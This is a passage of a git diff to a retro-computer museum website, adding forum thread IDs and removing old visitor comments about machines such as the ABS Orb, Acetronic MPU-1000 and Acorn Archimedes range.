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10th June 2023 - text: 'Yes, this was real the type R10 9010 and not A10. More information about this system exists here: https://www.gamescore.ch/en/r10-telespiel-9010' - - author: Andy (Schweiz) - date: Saturday 10th June 2023 - text: 'Yes, this was real the type R10 9010 and not A10. More information about this system exists here: https://www.gamescore.ch/en/r10-telespiel-9010' - - author: Heribert Knörftz (Germany) - date: Sunday 29th December 2019 - text: I got such a console as a birthday present as i was a child. Mine is completely black and it is called "R10 9010", not "A10". The console is made in Hong Kong and its power consumption by 6 larger "baby cell" batteries is 1 W max. related: - /museum/alex-video-spiel-tg-621 - /museum/apf-match diff --git a/content/museum/abs-computer-orb.md b/content/museum/abs-computer-orb.md index 1e1582aa..65fa150c 100644 --- a/content/museum/abs-computer-orb.md +++ b/content/museum/abs-computer-orb.md @@ -56,73 +56,7 @@ params: value: Unknown - label: PRICE value: Unknown - comments: - - author: Andy Holyer (UK) - date: Monday 16th May 2011 - text: |- - I worked for ABS for a period in 1984, and quite a bit of my time was supporting the Orb. - - Slight correction on the above - there was a choice of eight colours, and yes the fire brigade did apparently buy one because nobody else produced a fire-engine-red computer. - - The Orb had one major failure: the more terminals connected, and the more those terminals were doing, the worse the chance of an "Uninitialised Interrupt" which would freeze the whole box. I don''t believe an 8-terminal rig ever worked - we had a 4-terminal setup in our office and that was about the limit. During the summer of 84 I was sent off on a long tour of dealers to upgrade the firmware of their Orbs. Along with this was a set of release notes, and no I don''t still have a copy of these, but the notes contained the following magnificent paragraph: - - "Uninitialised Interrupts: The Orb no longer suffers from Uninitialised Interrupts. In future they will be referred to as "Unexpected Interrupts". - - To be fair, these now only froze one screen, so you could shout out for everyone in the office to save their work before rebooting the machine, but still... - - The Orb was the eventual downfall of ABS. Dealers around the country signed up as dealers on the basis of receiving telephone calls form people saying that they would like to buy an Orb, and were they a dealer? Eventually it emerged that these calls had actually come from people in the sales department of ABS.... I only discovered this during a later interview (I didn''t get the job, but they suggested that having ABS on my cv was probably a limiting move). - - Oh, and the hook line for the Orb? "The All-round Personal Computer". \*Sigh\*. - - author: Stan Sieler (United States) - date: Friday 5th March 2021 - text: '"...it was one of the first, if not the first, multi-user user microprocessor systems". I had an Alpha Micro AM-100 in my living room in 1978. A multi-user system, it was based on the WD16 microprocessor chipset from Western Digital (clone of a PDP-11, IIRC). But ... wow, I''''d love to have an Orb!' - - author: Tricia Stevenson nee Grant (United Kingdom) - date: Monday 11th December 2017 - text: I worked for ABS before the Orb. I started when they were in Charing Cross Road $ moved to Byfleet with them. That''s where I met my husband James Rew Stevenson who was the Purchasing Officer for ABS. I remember Alan Birch, Gilbert Van Someren, Paul ?, Timothy ?, I can picture the accountant ? Cherry? My memory is not so good these days. - - author: Matthew Hart (Sydney, Australia) - date: Friday 5th May 2017 - text: |- - I worked as an Intern for ABS Computers in Portslade, E.Sussex in 1985. - - The Orb (and its more powerful sibling the Tower Orb or TOrb), were great computers. - - The Simple 7 programming languae was a joy to use, as it employed a method of translating english into code, much like Psuedo Code, this was then compiled into the application. - - I really miss that language, and would sorely love to get hoold of the sources so I could re-visit it. - - author: Seba Rho (Argentina) - date: Tuesday 16th June 2015 - text: 'I''''ve found theese pics of ABS Computer''''s facilities: https://www.flickr.com/photos/sussexphotography/sets/72157619122283003. Someone could check this?' - - author: Kwabena A. A. Mensah - date: Sunday 14th September 2014 - text: |- - I''m nursing feelings of nostalgia for the ABS MX mini, the first computer I worked on. I''d be interested to hear from anyone who built or used this machine. - - In January 1986, I joined TC Coombs $ Co., a London stockbroker. The business depended on a pair of MXs - lovingly named System A and System B - running the "Simple 7" combined operating system and programming language, and an equity trade accounting package written by ABS. - - ABS had ceased supporting the machines, and there was no documentation on either the hardware or the software other than on-screen prompts, a directory of reports (cryptically titled Z1 to about Z100), and source code listings for the handful of modules that were run regularly. - - Initially my job was to disassemble the main trade data capture and contract note printing module, working forward from the eighty pages of source code and backward from the contract note. - - Once I''d got the hang of Simple 7, I extended the application by coding an aged debtors module, which made me popular with the Finance Director and earned me a big pay raise. - - The ABS systems were replaced between June and December 1986 with a MicroVAX cluster running the Ingres RDBMS under VMS. Over the succeeding eighteen months, we developed a custom accounting and settlement application on the new platform. - - I left the firm in January 1990 and it went bust a year later. The ABS MXs and Simple 7 were already a distant memory then and I''ve always wondered what became of my first computer love. - - author: rog (Brighton) - date: Friday 8th April 2011 - text: |- - I worked at Shortlands, and remember them around the office, I really wished I had snagged one then.\ - I remember people saying they had overheating issues, and caught on fire, but i never saw it.\ - The Shortlands building has now been converted to a church. - - author: Daniel Garland (New Zealand) - date: Thursday 28th September 2006 - text: |- - "Interesting system! early imac?"\\ - - Um.. HELL NO. Do any of these still exist? or are they extinct??? - - author: Joseph Hays (USA) - date: Wednesday 10th April 2002 - text: Interesting system! early imac? + forum_thread: 359 oc_id: 355 source: url: https://web.archive.org/web/20230608090525/http://www.old-computers.com/museum/computer.asp?c=355 diff --git a/content/museum/acc-8000.md b/content/museum/acc-8000.md index 7436468f..5ee7297b 100644 --- a/content/museum/acc-8000.md +++ b/content/museum/acc-8000.md @@ -63,6 +63,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1078 photos: - title: 'ACC-8000 #1' subtitle: '' diff --git a/content/museum/access-computer.md b/content/museum/access-computer.md index 0c64953c..93bba775 100644 --- a/content/museum/access-computer.md +++ b/content/museum/access-computer.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 363 photos: - title: FIRST VERSION subtitle: '' @@ -88,24 +89,6 @@ params: - title: Actrix and Access Computers url: http://www.actrixcomputer.com/ text: Unofficial homepage for Actrix and Access Matrix Computers - comments: - - author: Robert Neal (United States) - date: Sunday 26th August 2018 - text: I have my 1983 Access Matrix in the closet (literally) and haven''t started in back up in several years. I still have all the software and documentation and was wondering if there was any market out there for one. - - author: William Sevon (USA) - date: Saturday 16th August 2008 - text: I purchased an Access in December of 1984, about the time they were gong off the market. I used it for several years and produced a variety of publications that I printed with the machine. My son did some programming for me in Basic and the machine ran them very well. Even though it was heavy, 30 lbs+, I found that the 60 K memory and the portability were remarkable compared to the IBM 1620 that I first used in 1963 which had 60 K memory but required an air-conditioned room of moderate size. I haven' used the Access in years, but I still have it alo0ng with all the original manuals, something modern computers, such as my current Dell, lack, as well as all the original disks. I look upon it as another of the many antiques that fill my house. - - author: Randolph James (USA) - date: Tuesday 31st January 2006 - text: I bought one of these computers when they first came out. I loved it. It had everything you could possibly want built right in; computer, disk drives, printer, modem, and several ports. It was advertised as a 'portable' but I called it 'transportable' because it weighed so much. - - author: phlatline (midwest) - date: Tuesday 23rd March 2004 - text: |- - I just got an ACCESS today, & I was wondering if anyone knew where I can get manuals/docs, software, anything at all for this system?\ - Thanx! - - author: nijineko (usa) - date: Wednesday 10th September 2003 - text: yea! that's my dad who posted that information about the access! i am looking for the nemesis game that was run on this system and/or the actrix system. can anyone help? oc_id: 359 source: url: https://web.archive.org/web/20230415202048/http://www.old-computers.com/museum/computer.asp?c=359 diff --git a/content/museum/acetronic-mpu-1000-2000.md b/content/museum/acetronic-mpu-1000-2000.md index a69e7c26..f4465eef 100644 --- a/content/museum/acetronic-mpu-1000-2000.md +++ b/content/museum/acetronic-mpu-1000-2000.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 886 photos: - title: MPU-1000 LOGO subtitle: '' @@ -142,56 +143,6 @@ params: - title: VC4000.de url: http://www.vc4000.de text: Website dedicated to the Interton VC4000 (in German) - comments: - - author: edi (andorra) - date: Monday 18th April 2022 - text: Good job. $a href$''https://www.webnovedad.com/descargar-gratis-pluto-tv-para-pc/''$pluto tv para pc$/a$ - - author: Belle (United Kingdom) - date: Monday 24th May 2021 - text: hi we had acetronic MPU-2000 + one games any chance give price ? - - author: Mark C (UK) - date: Thursday 26th September 2019 - text: Forgot - my email - mark@paradigmit.uk - - author: Mark C (UK) - date: Thursday 26th September 2019 - text: |- - Hi (Bobby) - any chance that the service manual you have is for an Acetronic MP1000 - Radofin 1292? If so, any chance I could get a copy of it or buy yours? I''m looking for a schematic for my Acetronic MP1000.. - - Cheers, - - Mark. - - author: bobby (SE London) - date: Thursday 28th December 2017 - text: I Still have one in my loft. Plus a load of games for it. I also have a service manual by RADOFIN. Dated 20 August 1979. - - author: Darren (Australia) - date: Tuesday 7th June 2016 - text: |- - I Found an Old "ACETRONIC MPU-1000" / "RADOFIN 1292" Game "SPACE WAR (30)" in with my VIC 20 Stuff! - - It is Nooo Goood to me, so Anyone interested in Purchasing it for CHEEP??? - - darrenpnut76@yahoo.com.au - - author: simon tolchard (uk) - date: Thursday 18th November 2010 - text: I still have one, boxed (and working) from when I was 8 or 9. My parents purchased it from "Laskeys" in Oxford I think. - - author: Tony White (UK) - date: Tuesday 21st August 2007 - text: |- - I had an Acetronic MPU1000 in 1983 - when I was 9. - - One of the best games was Othello - there were 99different levels and it was our family's target to beat the computer on level 99! - - Some other memorable games were Olympics, Grand Prix, Blackjack, Shooting Gallery, Circus, Electronic Pinball, Super Knockout, Invaders, Space War and Laser Attack. - - Shooting gallery was great fun. - - author: Olivier (France) - date: Friday 17th February 2006 - text: I think someone was working on it (Interton VC 4000 in fact), but it is not ready yet. Wait and see... - - author: Aeo (Spain) - date: Friday 17th February 2006 - text: |- - Anybody knows an emulator for this system?\ - Thanks! related: - /museum/cabel-universal-game-computer - /museum/interton-vc-4000 diff --git a/content/museum/acorn-computer-a4.md b/content/museum/acorn-computer-a4.md index e2f77784..d0d5ba78 100644 --- a/content/museum/acorn-computer-a4.md +++ b/content/museum/acorn-computer-a4.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 50 photos: - title: ACORN A4 subtitle: '' @@ -170,36 +171,6 @@ params:  compiled/archived by Tom Mowalker\  type of document : HTML\  source : [Arculator](http://b-em.bbcmicro.com/arculator/index.html) - comments: - - author: Nick Broomfield (United Kingdom) - date: Friday 1st April 2016 - text: |- - If you want to buy one! - - http://www.ebay.co.uk/itm/182075342752?ssPageName$STRK:MESELX:IT$\_trksid$p3984.m1555.l2649 - - author: JHrn (USA) - date: Friday 31st December 2010 - text: |- - I think it can do word processing, I had emulated RISC OS 3.x once, it\ - had a built-in text editor, which is of course in the ROM. - - author: Luca (Italy) - date: Tuesday 11th May 2010 - text: I own two of these :) - - author: Erik N (Australia) - date: Friday 8th June 2007 - text: |- - I think I want one of these\ - does it do wordprocessing and printing??? - - author: Merjia (Aus) - date: Friday 11th August 2006 - text: |- - Yeah me too!\ - They look awesome. - - author: Pharoah (USA, PA) - date: Friday 16th December 2005 - text: |- - Wow!\ - I REALLY want one of these! related: - /museum/acorn-computer-archimedes - /museum/acorn-computer-archimedes-a3000 diff --git a/content/museum/acorn-computer-abc-110.md b/content/museum/acorn-computer-abc-110.md index 6d87cc9d..f839db76 100644 --- a/content/museum/acorn-computer-abc-110.md +++ b/content/museum/acorn-computer-abc-110.md @@ -69,6 +69,7 @@ params: tabs: - photos - links + forum_thread: 739 photos: - title: ABC LABEL subtitle: '' diff --git a/content/museum/acorn-computer-abc-210-cambridge-workstation.md b/content/museum/acorn-computer-abc-210-cambridge-workstation.md index d651ab2b..de262827 100644 --- a/content/museum/acorn-computer-abc-210-cambridge-workstation.md +++ b/content/museum/acorn-computer-abc-210-cambridge-workstation.md @@ -69,6 +69,7 @@ params: tabs: - photos - links + forum_thread: 639 photos: - title: OPENED subtitle: '' @@ -82,19 +83,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Stuart Todd (Bradford, UK) - date: Monday 16th June 2014 - text: The main market for these machines were universities. I have surplus one from Leeds Universirty in the garage, the BBC board of which was working when it came to me although I could never get the 32015 started. I do recall Acorn User interviewing a Professor regarding their use of the Cambridge Workstation (CWS). He or she stated that despite the machine only have 1/10th the power of the university Cray supercomputer, as the staff and staff were able to test their code on the CWS - - author: Harry Ellis (UK) - date: Tuesday 21st January 2014 - text: Hi all - I bought my Cambridge Workstation form a company in Richmond, Surrey, UK in 1985 and still have it if anyone is interested. I developed for it a program for the documentation of entity models. It was still working satisfactorily in 1995 when I was using it to document a Corporate Data Model that I created for the British Army. This form of documentation was taken by my friend and colleague Richard Barker into Oracle where it emerged as their Designer 2000 product. I also have my BBC Micro and coprocessor. - - author: Edward W. Jackson (USA) - date: Thursday 9th January 2014 - text: My neighbor bought this computer, with "Peach Tree" software, in a package, with printer for some serious money in the late 80''s. I don''t remember exactly, but $6000 rings a bell. He was very proud of it, and I believe he used it for word processing. - - author: Richard Kilpatrick (Hawick, Scotland) - date: Tuesday 15th October 2002 - text: Anyone with these machines, please contact me - I'm wondering how many were made, and trying to get Panos 1.4X disk images to re-install. I also need a keyboard or details of the keyswitch to repair mine :) related: - /museum/acorn-computer-abc-110 - /museum/acorn-computer-abc-310 diff --git a/content/museum/acorn-computer-abc-310.md b/content/museum/acorn-computer-abc-310.md index 5570e5db..46004fc1 100644 --- a/content/museum/acorn-computer-abc-310.md +++ b/content/museum/acorn-computer-abc-310.md @@ -69,6 +69,7 @@ params: tabs: - photos - links + forum_thread: 964 photos: - title: 80286 2ND PROCESSOR BOARD subtitle: '' @@ -82,13 +83,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: David Wheeldon (United Kingdom) - date: Sunday 7th March 2021 - text: I recently had the opportunity to collect and own and large collection of BBC equipment which included a number of 2nd processors including a working 80286 Issue 0 board also a 30Mb acorn hard drive unit full of master 512 type files and applications - - author: Tim Boyd - date: Saturday 3rd July 2010 - text: Acorn came very close to releasing an 80286 Second Processor$ I''ve seen one in the traditional 2P case, complete with correct labelling, which surfaced during one of Acorn''s clear-outs. related: - /museum/acorn-computer-abc-110 - /museum/acorn-computer-abc-210-cambridge-workstation diff --git a/content/museum/acorn-computer-archimedes-a3000.md b/content/museum/acorn-computer-archimedes-a3000.md index 6e9d4e87..e0a1cf48 100644 --- a/content/museum/acorn-computer-archimedes-a3000.md +++ b/content/museum/acorn-computer-archimedes-a3000.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 681 photos: - title: ARCHIMEDES 3000 FAMILY subtitle: '' @@ -178,71 +179,6 @@ params:  compiled/archived by Tom Mowalker\  type of document : HTML\  source : [Arculator](http://b-em.bbcmicro.com/arculator/index.html) - comments: - - author: Malcolm Ramage (United Kingdon) - date: Friday 22nd April 2011 - text: The Archimedes took regular double density 3 1/2 inch floppy disks, just the same as the ST and Amiga. Later Archimedes machines could also use High Density 1.44MB disks, but the A3000 couldn''t without an internal upgrade. - - author: Simon (Manchester) - date: Saturday 25th December 2010 - text: |- - Just wondering what kind of floppy disks the a3000 took?\ - are they available on ebay? - - author: Daniel - date: Saturday 4th December 2010 - text: |- - http://cgi.ebay.co.uk/ws/eBayISAPI.dll?ViewItem$item$270673866094$ssPageName$STRK:MESELX:IT - - This is a beautiful little machine, owned and loved by my good self. - - Everything works (will upload a picture of the system switched on ASAP). - - Original manuals, software etc. - - PHILLIPS 14" Monitor - - Flashback, Lemmings, ChuckRock, E-type Jaguar, Chocks Away, many more! - - I will probably update this listing as and when I scrutinise what I have! - - Any questions, just ask! I love this machine, and to be honest, am very tempted to keep it, but I appreciate that you bidders out there have the same passion, so another good home is a welcome home.... - - There are some very good online-bookable couriers, so I think £20 should cover it, though maybe over two shipments (at the same time). - - author: Harris Khairuddin (Bath) - date: Monday 27th February 2006 - text: I have an A3000 with 4mb upgrade and RISC OS 3.11. Is the RAM module compatible with the A3010 and A3020? - - author: michael tesh (sheffield) - date: Wednesday 25th May 2005 - text: does the a3000 have an modem add on? - - author: Martin (Scotland) - date: Monday 18th October 2004 - text: My dopey mother sold my A3000 when I was out of the country, but I still have some files I'd like to retrieve - any ideas how i can do this? - - author: Ace (sheffield england) - date: Monday 13rd September 2004 - text: |- - is there a acorn risc pc (a5000) around ive been after one for ages im after some games as well\ - p.s.i collect old computers and synthesizers - - author: Andrew McConville (Scotland) - date: Tuesday 1st June 2004 - text: |- - Have never personally owned an A3000 - had a A3010, but I thought I'd share this: - - My school Maths department had one(as did most of the depts in the school had an Acorn of some sort - Art topped the list with six! All different variants too.....) and over time it became known as "The beast" for the amount of upgrades that one of the teachers had performed. When I left it was running at "A5000" spec - Arm 3 25Mhz, 120MB internal HD 8MB ram (yes 8MB!) He'd gone and got one of the drive/board upgrades which gave it a 1.6 MB FD and internal podule expansion like the A3020's....\ - SO for anyone looking to upgrade... if you can still find them, then these may be worth getting. If I had known that the expansion of the A3000 was so much better than the A3010 that I got, I probably would have paid the extra £100 to buy a new one over the price I paid for my new A3010. - - author: Sam Thornley (South normanton) - date: Thursday 17th July 2003 - text: |- - I was setting up my A3000 and noticed on the under side near the mouse port is a compartment\ - with a screw.I undid the screw to find what looked like a batery compartment (AA size) .I think this was\ - made for CMOS back up batery. :-) - - author: ash purdie (pixton England) - date: Wednesday 30th April 2003 - text: I love Acorns there just amazing. - - author: Sam Thornley (South Normanton (England)) - date: Saturday 22nd March 2003 - text: I have a A3000 with a internal hard drive. But the hard drive does not work. - - author: Ace (Sheffield England) - date: Tuesday 18th March 2003 - text: I own a Acorn A3000 but to add to my collection i was wondering where i could get an A4000 risc pc and a bbc master compact. related: - /museum/acorn-computer-a4 - /museum/acorn-computer-archimedes diff --git a/content/museum/acorn-computer-archimedes-a3010.md b/content/museum/acorn-computer-archimedes-a3010.md index 861bccf0..3f3e0b07 100644 --- a/content/museum/acorn-computer-archimedes-a3010.md +++ b/content/museum/acorn-computer-archimedes-a3010.md @@ -62,6 +62,7 @@ params: - emulators - links - docs + forum_thread: 690 photos: - title: REAR CONNECTORS subtitle: '' @@ -153,62 +154,6 @@ params:  compiled/archived by Tom Mowalker\  type of document : HTML\  source : [Arculator](http://b-em.bbcmicro.com/arculator/index.html) - comments: - - author: Spop - date: Monday 24th January 2022 - text: Woow, 32-bit!! - - author: hello (herefordshire uk) - date: Saturday 4th September 2010 - text: DOES ANYONE KNOW IF U CAN CONNECT A TAPE DRIVE TO AN ACORN A7000+ - - author: ominous - date: Saturday 4th September 2010 - text: I connected a fdd from a bbc micro to my ACORN A7000+ through the serial port and gained access through a program I wrote in BBC basic - - author: retroking - date: Tuesday 31st August 2010 - text: does anyone know where i can get a floppy disk drive or a compatible one for my acorn archimedes a3010,thanks - - author: Chris Charlton (Manchester, UK) - date: Sunday 2nd April 2006 - text: |- - Still got one of these bad boys in the loft! Remember doing all my GCSE coursework on it and printing out on a dot matrix printer! - - Might be interested in flogging it if anyone wants it? Drop me an email! - - author: Harris Khairuddin (Bath) - date: Monday 27th February 2006 - text: I had Mad Prof! It's a brilliant game! Anyone know where I can get a 4mb memory upgrade for an A3010? - - author: Huc (Leicestershire Uk) - date: Thursday 22nd December 2005 - text: Did anybody have mad professor Mariati - - author: Huc (Leicestershire Uk) - date: Thursday 22nd December 2005 - text: The A3010 was amazing - - author: Andy (Manchester, UK) - date: Monday 11th October 2004 - text: |- - I had one of these, but a very, very early version! My serial number was ...0004, and instead of an ARM250 processor soldered to the motherboard, I had one of the rare 'piggy-back' modules, which was basically a cut-down ARM3. These were only used for the very first run, as Acorn were worried that they would not have the ARM250 modules ready for production of that initial batch. - - The added bonus was that the piggy-back board was slightly faster than the ARM250, and a company at the time (Simtec?) were able to replace it for a full ARM3! I never did this as it was just too pricey, but over the years it did gain a hard drive! Best of all, I've still got it somewhere... Stunt Racer 2000, anyone? :o) - - author: Andrew McConville (Scotland ) - date: Tuesday 1st June 2004 - text: |- - I had one of these! Wish I still did in many ways. Mine was the standard 'Family' pack which I got in December 1992 and had it upgraded to 2MB Ram. Earlier versions of this machine had Risc OS 3.10. Anyway over the years it served me really well and was upgraded a few times- firstly with an 82MB Hard Drive and then one of the fabulous exploding AKF 18's (fortunately this one didnt go on fire and I managed to get it fixed) which blew twice.... By the second time I had bought a PC anyway so it wasn't so important. - - The last upgrade I got for it was one of the last "Super Turbo" 20Mhz clocked 4MB Ram upgrades which you could get for Arm 250 machines - they were made by a company called Simtec if I recall correctly. Benchmarked it against one of my school's numerous 4MB A5000's once - I was rather surprised to see that mine won by quite a margin. Unfortunately I don't remember what the upgrade actually did to eke out more performance..... - - In many ways I wish I still had it - you can see the influence on more modern OS's even today... - - Tried to add some of this info to the main hardware page but couldn't, got an internal server error. So if any of the admin folks see this..... - - author: Gilbert Dykes (Scotland) - date: Thursday 11th March 2004 - text: The Archi A3010 had a brilliant draw program I wish my new computer had one half as good. And it was multi tasking not bad for 1meg. - - author: mick Thornley (S.normo) - date: Monday 23rd February 2004 - text: Silly me i fogot! - - author: Doug (Bedfordshire, UK) - date: Friday 23rd January 2004 - text: Because its an old computer!! And the programs easily fitted on floppy discs :) I added a hard drive to mine. I guess adding a hard drive was just too expensive at the time. - - author: mick Thornley (Derbyshire,South Normamton) - date: Thursday 20th March 2003 - text: Why don't the Archimedes A3010 have an hard dirve? related: - /museum/acorn-computer-a4 - /museum/acorn-computer-archimedes diff --git a/content/museum/acorn-computer-archimedes-a3020.md b/content/museum/acorn-computer-archimedes-a3020.md index bb34e05d..7da51e03 100644 --- a/content/museum/acorn-computer-archimedes-a3020.md +++ b/content/museum/acorn-computer-archimedes-a3020.md @@ -58,6 +58,7 @@ params: - emulators - links - docs + forum_thread: 689 photos: - title: SYSTEM subtitle: '' @@ -149,13 +150,6 @@ params:  compiled/archived by Tom Mowalker\  type of document : HTML\  source : [Arculator](http://b-em.bbcmicro.com/arculator/index.html) - comments: - - author: Nattyfido (UK) - date: Tuesday 4th September 2007 - text: If anyone is interested in these computers, I still have them, my email has changed though. It is fido_ov_lido@yahoo.co.uk and my website is www.nattyfido.is-a-geek.com - - author: Dean Fowler (Margate, Kent, UK) - date: Wednesday 18th October 2006 - text: I have an A3000 and three A3020s. I would be willing to swap the A3000 (not working) and two of the A3020s for an Archimedes mouse. All machines have internal hard drives and are a bit grubby. related: - /museum/acorn-computer-a4 - /museum/acorn-computer-archimedes diff --git a/content/museum/acorn-computer-archimedes-a4000.md b/content/museum/acorn-computer-archimedes-a4000.md index 086f7a96..57960965 100644 --- a/content/museum/acorn-computer-archimedes-a4000.md +++ b/content/museum/acorn-computer-archimedes-a4000.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 692 photos: - title: LARGE VIEW subtitle: '' @@ -177,51 +178,6 @@ params:  compiled/archived by Tom Mowalker\  type of document : HTML\  source : [Arculator](http://b-em.bbcmicro.com/arculator/index.html) - comments: - - author: Chris (UK) - date: Tuesday 1st February 2011 - text: |- - Hi,\ - My old A4000 is sick, when it is booting there is a message "Internal error: undefined instruction at $03877AC8" does anyone have any clues about this ?? Is it corruption on hard drive or does this indicate hardware problems? or is the old machine on the way to the scrap yard? - - author: Dean Graham (Selby, UK) - date: Saturday 27th November 2010 - text: |- - Hi Jamie, - - Thank you for your post! Im pleased to report I got the A4000 up and running and it now has an A3000 to keep it company. - - Cheers, - - Dean - - author: Jamie - date: Monday 22nd November 2010 - text: |- - Dean:- - - You are probably not going to see this but yes it will work with a VGA monitor. PS2 Keyboard and mouse? I dont know - - author: Bernadette (England) - date: Friday 23rd May 2008 - text: |- - My primary school had one of these, only one! I can't believe the difference ten to fifteen years makes, now my little sister goes to the same school and they have a computer suite with about twenty brand new PCs with broadband internet. (I am 25 and she is 8)\ - I remember my teacher showing me how to make pie charts on it, i think thats all we used it for! - - author: Dean Graham (Selby, UK) - date: Thursday 23rd February 2006 - text: |- - Hi, - - I have an A4000 base unit only and would like to know if it will work ok with a standard PS2 keyboard, mouse and VGA monitor? - - Any help would be greatly apprecaited. - - Many thanks, - - Dean - - author: George (hialeah) - date: Sunday 15th May 2005 - text: woah, you are right. - - author: Andy (England) - date: Sunday 30th January 2005 - text: Hi, It looks like I'm the first to post here! ok, I'm posting cos theres a couple of details I'm sure aren't completely right here... as far as I remember, the A4000 had an 18Mhz CPU (though the RAM ran at 12Mhz), and 2Mb ROM, and the version I had had a 40Mb harddisc - I don't know if they did models without a hard disc, though I doubt it, as this was the 2nd highest spec of the systems they were producing at the time. Please correct me if I'm wrong! related: - /museum/acorn-computer-a4 - /museum/acorn-computer-archimedes diff --git a/content/museum/acorn-computer-archimedes-a5000.md b/content/museum/acorn-computer-archimedes-a5000.md index b1ba8d6c..d10cba7a 100644 --- a/content/museum/acorn-computer-archimedes-a5000.md +++ b/content/museum/acorn-computer-archimedes-a5000.md @@ -67,6 +67,7 @@ params: - emulators - links - docs + forum_thread: 693 photos: - title: MAIN UNIT subtitle: '' @@ -194,33 +195,6 @@ params:  compiled/archived by Tom Mowalker\  type of document : HTML\  source : [Arculator](http://b-em.bbcmicro.com/arculator/index.html) - comments: - - author: PVT (Worcesttershire) - date: Sunday 8th February 2015 - text: I have a pristine A5000 full spec DVD with manuals and loads of software. Does anyone want to buy it? - - author: J C (UK) - date: Friday 12th October 2012 - text: |- - Hi everyone, I wonder if any of you could help us out. We have a A5000 in great condition (plus printer) which we are hoping to sell to pay the bills! - - Is the price listed on this page (1000-1800 pounds) a realistic asking price for selling it today? It seems rather high $ (it''s surely not listing the original price by any chance is it?) - - author: Michael Lorenz (USA) - date: Wednesday 11th March 2009 - text: |- - Just some additions - Econet was optional, my A5000 came without. Then, the highest standard resolution was 800x600. Maximum colour depth was 8 bit - 16 colours and the other four bits were used for hue and saturation IIRC. Also, with 3rd party upgrades RAM could be expanded to 8MB. Finally, the keyboard may have some superficial resemblance with PS/2 keyboards but it really isn''t. Not even close. Some keys are labeled differently, there''s a standard bus mouse port and a hardware reset button in the back of the keyboard. The mouse that came with mine was made by Logitech no less. And the connector is actually a serial port, reset line and power supply for the mouse controller in the keyboard. Plugging a PS/2 keyboard in would blow some fuses. Mouse events are merged into the keyboard data stream, there is no separate line for mouse data,\ - The mainboard of at least some revisions was actually prepared for PS/2 mouse and keyboard ports. There''s a jumper to switch between acorn and PS/2 mode but no PS/2 connectors are fitted and there are no holes in the case. - - author: Tony Salvidge (Radstock, nr Bath) - date: Friday 21st March 2008 - text: I have an Archimedes A3000 computer which has gone faulty. I have some software on the hard-drive which I require, but I am unable to access the hardrive for some reason. Can anyone help - - author: mrdalliard (UK) - date: Friday 1st June 2007 - text: |- - The rumour about monitors going up in smoke was true. I had a couple repairs to my monitor during it's lifespan - and Acorn even extended the warranty by several years - bless 'em. - - I've still got my A5000 and it still works just fine. - - author: Nigel (uk) - date: Sunday 4th May 2003 - text: I remeber being one of the first to get an A5000 I think I had to wait 6 or 7 weeks after ordering it at the show when they were released. My machine has a serial no ending with a number just over 100 (102 or 105) I think. Still works fine but I haven't used it for a while now... related: - /museum/acorn-computer-a4 - /museum/acorn-computer-archimedes diff --git a/content/museum/acorn-computer-archimedes-a7000.md b/content/museum/acorn-computer-archimedes-a7000.md index 17a7f2e9..0b3d7ae0 100644 --- a/content/museum/acorn-computer-archimedes-a7000.md +++ b/content/museum/acorn-computer-archimedes-a7000.md @@ -66,6 +66,7 @@ params: - emulators - links - docs + forum_thread: 908 photos: - title: RUNNING subtitle: '' @@ -196,21 +197,6 @@ params:  compiled/archived by Tom Mowalker\  type of document : HTML\  source : [Arculator](http://b-em.bbcmicro.com/arculator/index.html) - comments: - - author: TECH GUY (herefs uk) - date: Saturday 4th September 2010 - text: My acorn A7000+ has 64Mb of ram and a 20Gb sata hard disk and I adapted dos box to run on it!!! - - author: Harris Khairuddin (Bath) - date: Monday 27th February 2006 - text: I own an A3000 but recently bought an A7000. The games from my A3000 dont seem to work on the A7000 - they just crash or dont run at all. Is there any workaround? - - author: Malcolm (Frome England) - date: Saturday 25th September 2004 - text: |- - I am trying to get an A7000 working on a Tandberg TFT moniter which works on most operating sys and\ - which will display VGA 640 X 480. I have tried a Delete power on as described in the A7000 Welcome Guide, but the display shows a message "Input not support" message.I would be grateful for any suggestions. Many thanks, Malc. - - author: Julian O'Connor (UK) - date: Friday 18th June 2004 - text: The Archimedes and A???? range use standard SCSI, IDE disks later on. Once I borrowed an IDE disk from an Acorn A7000 to get an PC working. I formatted it and installed Windows ,etc and all was well. Later I put the disk back in the A7000, hoping to boot from ROM and format the disk back for use in the Acorn again. I was somewhat surprised to find that all the data previously on the disk from the Acorn was still there despite having been formatted and used on a PC! related: - /museum/acorn-computer-a4 - /museum/acorn-computer-archimedes diff --git a/content/museum/acorn-computer-archimedes.md b/content/museum/acorn-computer-archimedes.md index c401189c..4fba6dc3 100644 --- a/content/museum/acorn-computer-archimedes.md +++ b/content/museum/acorn-computer-archimedes.md @@ -69,6 +69,7 @@ params: - emulators - links - docs + forum_thread: 90 photos: - title: LARGE VIEW subtitle: '' @@ -212,120 +213,6 @@ params:  compiled/archived by Tom Mowalker\  type of document : HTML\  source : [Arculator](http://b-em.bbcmicro.com/arculator/index.html) - comments: - - author: Alex Wilkinson (United Kingdom) - date: Friday 10th August 2018 - text: |- - Hi I need help i have an A3000 and it works fine until i put either an arm610 card or the 486 pc card in the expansion slot on the back then it won''t turn on or light up and the psu makes a squealing noise if i then turn off and remnove card it works fine again i''ve tried different psu to no luck!!! - - Thanks :) - - author: Rob Turner (Ashford, Kent / UK) - date: Wednesday 28th November 2012 - text: Please note that the A310/1 system and A3000 systems mentioned in my 11 July 2012 post have gone to a good home - but I''ve still got 2 pre SVGA Phillips monitors as used with above machines, free to a good home, £10 UK delivery - same email as other post - Rob. - - author: Wilton CA (Brasil) - date: Wednesday 28th November 2012 - text: |- - Hi... anyone interested in selling me an Acorn Archimedes? - - I know postage to my country is high, but I''ll cover all expenses. - - Please contact me with full specifications of the machine: nightspectre75 at gmail com. Thanks! - - author: Jonty (Manchester, NW England) - date: Sunday 11th November 2012 - text: |- - I''d like to know if there is an analogue joystick for the Archie 3010 2MB I just bought to play Elite on, and whether I can fit a hard drive/flash drive module to it. - - Incidentally,Elite co-creator David Braben is looking for 